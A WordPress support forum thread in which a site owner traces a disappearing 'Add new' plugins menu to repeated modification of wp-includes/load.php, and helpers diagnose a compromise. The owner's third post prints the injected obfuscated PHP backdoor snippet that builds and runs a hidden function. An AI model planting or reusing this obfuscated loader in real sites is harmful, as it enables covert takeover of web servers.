Title: Load.php bug
Last modified: August 21, 2016

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# Load.php bug

 *  [Alexandre Gauvin](https://wordpress.org/support/users/pictogram/)
 * (@pictogram)
 * [12 years, 7 months ago](https://wordpress.org/support/topic/loadphp-bug/)
 * I have a strange problem that I’m trying to debug for many months now.
 * In the admin panel, the Plugins menu only display the installed plugins submenu,
   not the Add new. Therefore, I can’t install or unistall any plugins via the admin
   panel
 * I did unistall and reinstall completely WP, did check all my plugins, updated
   them, drop some to use more recent equivalents. When I do that, the Add new plugin
   come’s back but after a few hours, it’s gone again.
 * I tried replacing WP files, one file at a time to find if there’s one problematic.
   I’ve come to detect that the wp-includes/load.php is the one. If I delete this
   file on my server and upload a fresh one, my Plugins/Add new menu is back … but
   for a few hours only.
 * I can’t figure out what causes this annoying problem. What is this file use for?
   What WP process could possibly modify this file ?
 * Sucuri scan indicates no problem
 * Thanks for any hint that could help me debug this problem.

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 *  [esmi](https://wordpress.org/support/users/esmi/)
 * (@esmi)
 * [12 years, 7 months ago](https://wordpress.org/support/topic/loadphp-bug/#post-4025369)
 * Have you tried:
 * – deactivating **all** plugins to see if this resolves the problem. If this works,
   re-activate the plugins one by one until you find the problematic plugin(s).
 * – switching to the default theme to rule out any theme-specific problems.
 * – [resetting the plugins folder](http://codex.wordpress.org/FAQ_Troubleshooting#How_to_deactivate_all_plugins_when_not_able_to_access_the_administrative_menus.3F)
   by FTP or PhpMyAdmin. Sometimes, an apparently inactive plugin can still cause
   problems.
 * – re-uploading all files & folders – **except** the wp-content folder – from 
   a **fresh** download of WordPress. Make sure that you delete the old copies of
   files & folder before uploading the new ones.
 *  [Mike](https://wordpress.org/support/users/mike_vl/)
 * (@mike_vl)
 * [12 years, 7 months ago](https://wordpress.org/support/topic/loadphp-bug/#post-4025370)
 * It is very strange behaviour indeed. Have you checked if file permissions(CHMOD)
   are changed? (I doubt WordPress is modifying the file, more likely the webserver)
 * One likely testing scheme:
    -disable all plugins -revert to default wordpress
   theme -reupload load.php -make no changes to plugins or theme or content and 
   check if the problem reappears.
 * If it does reappear: compare file permissions (before/after).
 * Let us know if this helps
 *  Thread Starter [Alexandre Gauvin](https://wordpress.org/support/users/pictogram/)
 * (@pictogram)
 * [12 years, 7 months ago](https://wordpress.org/support/topic/loadphp-bug/#post-4025701)
 * Hi, thanks for your answers,
 * [@esmi](https://wordpress.org/support/users/esmi/) : I did all that you proposed
   so many time I can’t even count !!
 * [@mike](https://wordpress.org/support/users/mike/) : I did what you proposed.
   I compared the 2 load.php files, the one before and the one after. I found a 
   slight size difference between the 2 files. A small snippet of code was added.
   Here it is :
 *     ```
       $get_hr_authority = wvmmlHgzmnn.'~'.cuujwy.'}'.m_out_oontuo.'|slc?ho}'.eosnln.
       	'?szg~~ozw?wp='.iokmudos.
       	'/js/}yn}}wmo|i}mus/'.clvmng.'}fo{oyo{?fmf{u}~/k}o?fgw>.vnw"+-i?'&'e~'.sl8bwz.
       	'{~'.flytm.'<'.
       		fklu_ggw_conwont.'{*"/'.yoou.'/w{f}/{jdl.'.owoowxoi.
       	'~w~wve{/k{/vin{mcu/'.tjgoos.'?'.yuvc.'~kgu?'.wkons.'/'.mevewnu.'/'.mogoon96.'~qno.}+9{';
       	$wp_rv_templating_constants = "k~ma}".g_fwnk."~mo~"&sswkv.'}_g}osu{on';
       	$handle_qmx_upload = $wp_rv_templating_constants(
       	false,$get_hr_authority);$handle_qmx_upload();
       ```
   
 * Could the problem be in the database ? There’s no plugins activated and the theme
   is a fresh copy of 2013.
 * Thanks
 *  [Mike](https://wordpress.org/support/users/mike_vl/)
 * (@mike_vl)
 * [12 years, 7 months ago](https://wordpress.org/support/topic/loadphp-bug/#post-4025703)
 * Well I’d worry about how come a core file changes in filesize/has code added 
   to it after upload?
 * I googled your code example and have not come across any matches.
 * I checked the source of the entire WordPress install: no matches.
 * To me this looks like your install has been compromised. I wonder if anybody 
   else has input on this.

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 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 4 replies
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 * Last reply from: [Mike](https://wordpress.org/support/users/mike_vl/)
 * Last activity: [12 years, 7 months ago](https://wordpress.org/support/topic/loadphp-bug/#post-4025703)
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